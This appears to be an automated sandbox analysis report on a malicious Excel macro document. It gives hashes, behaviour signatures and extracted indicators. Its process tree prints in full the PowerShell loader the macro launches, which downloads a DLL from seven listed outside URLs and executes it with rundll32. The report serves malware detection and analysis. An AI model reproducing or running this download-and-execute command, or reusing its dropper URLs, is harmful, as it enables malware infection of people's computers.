Overview

overview

10

Static

static

8

8656632045...1.xlsm

windows7_x64

10

8656632045...1.xlsm

windows10_x64

10

Resubmissions

24-11-2021 17:59

211124-wk8rgsddbm 10

22-11-2021 14:46

211122-r5n6csagd6 10

22-11-2021 14:46

211122-r5csbsfgdp 10

22-11-2021 14:44

211122-r4kfsafgdn 10

22-11-2021 14:41

211122-r2x9vsfgcq 10

22-11-2021 14:20

211122-rneklaffgr 10

22-11-2021 14:15

211122-rkk8zaffgl 10

17-11-2021 06:51

211117-hm1l1aeefm 10

17-11-2021 06:37

211117-hdnk3seedn 10

Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-en-20211014
  • submitted
    17-11-2021 06:37

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    865663204559_17_Nov_2021.xlsm

  • Size

    44KB

  • MD5

    477fd718bb764ffe3c5afde16c6c8dd2

  • SHA1

    eb932e19d95f88d64270d40cdc0b92c6d1cf63be

  • SHA256

    ee880ebdf26a1bcebe70a7ba17659199833c6107d758e26d37502bed9a225ee3

  • SHA512

    f7d0451ca3670179cc93a680b99f8982204c43054c55eb479c38dc8ea0ba6ba5b6ebea4508569091c07d95a759841455605e6daeab445146b29fc1af377ba267

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://evgeniys.ru/sap-logs/D6/
exe.dropper

http://crownadvertising.ca/wp-includes/OxiAACCoic/
exe.dropper

https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/
exe.dropper

http://immoinvest.com.br/blog_old/wp-admin/luoT/
exe.dropper

https://yoho.love/wp-content/e4laFBDXIvYT6O/
exe.dropper

https://www.168801.xyz/wp-content/6J3CV4meLxvZP/
exe.dropper

https://www.pasionportufuturo.pe/wp-content/XUBS/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\865663204559_17_Nov_2021.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1604
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /B powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1152
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell $dfkj="$strs=\"https://evgeniys.ru/sap-logs/D6/,http://crownadvertising.ca/wp-includes/OxiAACCoic/,https://cars-taxonomy.mywebartist.eu/-/BPCahsAFjwF/,http://immoinvest.com.br/blog_old/wp-admin/luoT/,https://yoho.love/wp-content/e4laFBDXIvYT6O/,https://www.168801.xyz/wp-content/6J3CV4meLxvZP/,https://www.pasionportufuturo.pe/wp-content/XUBS/\".Split(\",\");foreach($st in $strs){$r1=Get-Random;$r2=Get-Random;$tpth=\"C:\ProgramData\\\"+$r1+\".dll\";Invoke-WebRequest -Uri $st -OutFile $tpth;if(Test-Path $tpth){$fp=\"C:\Windows\SysWow64\rundll32.exe\";$a=$tpth+\",f\"+$r2;Start-Process $fp -ArgumentList $a;break;}};";IEX $dfkj
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1576

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1576-60-0x00000000754A1000-0x00000000754A3000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1576-61-0x00000000024C0000-0x00000000024C1000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1576-62-0x00000000024C1000-0x00000000024C2000-memory.dmp

    Filesize

    4KB

    Download

  • memory/1576-63-0x00000000024C2000-0x00000000024C4000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1604-55-0x000000002F301000-0x000000002F304000-memory.dmp

    Filesize

    12KB

    Download

  • memory/1604-56-0x00000000713D1000-0x00000000713D3000-memory.dmp

    Filesize

    8KB

    Download

  • memory/1604-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

    Download

  • memory/1604-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

    Download